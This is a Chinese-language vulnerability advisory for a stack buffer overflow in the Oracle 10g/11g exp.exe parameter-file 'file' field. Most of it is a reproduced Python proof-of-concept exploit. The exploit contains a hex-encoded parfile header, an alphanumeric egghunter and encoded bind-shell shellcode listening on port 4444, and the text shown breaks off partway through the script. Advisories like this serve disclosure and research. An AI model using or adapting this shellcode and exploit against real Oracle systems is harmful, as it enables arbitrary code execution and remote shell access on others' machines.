Oracle Database "exp.exe"参数文件远程缓冲区溢出漏洞
发布日期：2011-02-15
更新日期：2011-02-15
受影响系统：
Oracle 10g
Oracle Oracle11g
描述：
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BUGTRAQ ID: 46376
Oracle Database是甲骨文公司的一款关系数据库管理系统。
Oracle Database在验证用户提供的数据时存在远程栈缓冲区溢出漏洞，攻击者可利用此漏洞在受影响应用程序中执行任意代码，造成拒绝服务。
此漏洞位于解析Oracle导出程序的命令行上指定的参数文件中的“file”字段。
<*来源：Steven Seeley （seeleymagic@hotmail.com）
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Steven Seeley （seeleymagic@hotmail.com）提供了如下测试方法：
#!/usr/bin/python
# Oracle 10/11g exp.exe - param file Local Buffer Overflow PoC Exploit
# Date found approx: 9/3/2010
# Software Link:
# Version: 10.x and 11g r1 (r2 untested)
# Tested on: Windows XP SP3 En
# Usage:
# $ORACLE_HOME\exp.exe system parfile=overflow_oracle_exp.txt
def banner():
print "\n\t| ------------------------------------- |"
print "\t| Oracle exp.exe code execution explo!t |"
print "\t| by mr_me - net-ninja.net ------------ |\n"
header = ("\x69\x6E\x64\x65\x78\x65\x73\x3D\x6E\x0D\x0A\x6C\x6F\x67\x3D\x72\x65\x73\x75"
"\x6C\x74\x73\x2E\x74\x78\x74\x0D\x0A\x66\x69\x6C\x65\x3D");
# aligned to edx
egghunter= ("JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIQvK1"
"9ZKO6orbv2bJgr2xZmtnulfePZPthoOHbwFPtpbtLKkJLo1eJJloPuKW9okWA");
# bind shell on port 4444, alpha3 encoded and aligned with edi
sc = ("hffffk4diFkDwj02Dwk0D7AuEE4n07073K023H8O8L4t8O1M0z110q160q150e2N0n7K0i1K130"
"J0g0i1400110t16090y150r0V122l0s080o0y0r2M0s13150r122k0t0W0q2M0e0v0t0a0s110q000p1"
"P0h2m0j0A0s0q0z7m1M2x1N1N142G1N7l0t0r1N2F1O061O7m1M121O010g0x0i1K0f04130t107p180"
"10t2y0s2Z0j130w7p1P7l0g051P2N1N08191N147k0q1K0h7o0d2r0b2I122F1N2I1N130c2Z0d2Z187"
"l0d2F0i2l122H1O2o122l1M1M2k191K180o2N1L020g05112o1N2j1M121P0w112k1K2F1O2k1N0y121"
"90e0w0r2M0r7m0g2J1O100h2I0e0r0c0r1P7o1O0x117k0i0v1P0z147o0z060e7m0s7K102A1O0p100"
"90e7k0y2y2o2B162A0r1K0p2q0d2m1M2o0s0z1M1O0w150y0v0c2I132Z0i190t2F0g2D182F0u7l0q2"
"O0x120y0p0f2l0a7N17130w7N0i0c0t030b2t1N2F172u1N0p0z2M0c2O1O2n162J0g2D0g0x142k122"
"k112E0g0u0u2O0v1912120g2M0d0v1N191L0r0f2D1N131O121O0y0c2E0u0z1N0y1O7p14170z2O1O1"
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"191N127J6P1K6N7O1T631S681L161H181O131R7Z1U7Z19LM7O171YLM161Y1OLO12191M13181I1K19"
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"60O0N0P0L0B0N0B060C0U0O0O0H0M0O0O0B0M0ZKPA")